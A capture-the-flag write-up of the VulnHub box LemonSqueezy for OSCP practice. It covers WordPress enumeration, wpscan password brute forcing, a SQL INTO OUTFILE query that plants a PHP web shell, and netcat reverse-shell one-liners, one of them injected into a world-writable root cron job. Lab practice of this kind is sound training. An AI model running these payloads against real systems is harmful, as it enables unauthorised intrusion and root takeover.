This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:

  • Port 80 Enumeration
  • Wordpress Enumeration and password bruteforce using wpscan
  • Manipulating SQL query to gain initial Reverse Shell
  • Exploiting the cron job for privilege escalation

I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below.

Scanned at 2022-04-19 01:15:55 EDT for 8s
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 08:00:27:D2:08:64 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

Uptime guess: 199.637 days (since Fri Oct  1 09:58:22 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.48 ms 10.0.0.24

There is only one port open port 80. It turns out to be a default apache page.

A quick gobuster scan finds more web directories.

I am going to start with a /wordpress enumeration.

When I clicked on one of the posts Hello World , it returned an error as the website pointed to the lemonsqeezy domain. I need to add lemonsquezzy to my /etc/hosts . Once I add the domain to hosts file. I started a initial wpscan to enumerate the users and plugin.

I found the following information from the initial wpscan.

  • Wordpress version 4.8.9
  • Identified users : lemon and orange .

I used wpscan to Bruteforce the login page using the username orange and got a HIT.

After logging in I see there is a draft post that has a potential password in it.

Now I tried using this password for user lemon but was not successful. I know that there is /phpmyadmin running as well. So I tried orange:n0t1n@w0rdl1st! in PHPMyAdmin and was successful to log in.

There is a password hash for user orange and I tried to crack it but was not successful. I changed the hash and logged in but the user was with same privilege as orange and there was nothing I could do to move forward.

Now, I know that we can use the SQL query to get the reverse shell. First I am just going to create a PHP page which takes command in cmd .

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/attack.php" 

Now once this is done I pass the reverse shell command to the cmd variable.

10.0.0.24/wordpress/backdoor.php?cmd=nc -e /bin/bash 10.0.0.19 1234

I was able to get the reverse shell.

I started the linpeas.sh script to find any potential vector for privilege escalation.

I found an interesting cron job owned by root which runs every 2 mins. When I checked the input of the file it is as below.

Looking at the file permission, it can be edited or written by anyone. So I will just change the content to get the reverse shell but with escalated access.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.19 1337 >/tmp/f" > logrotate

Now I set the listener and wait for that cron job to run. And I got the root reverse shell.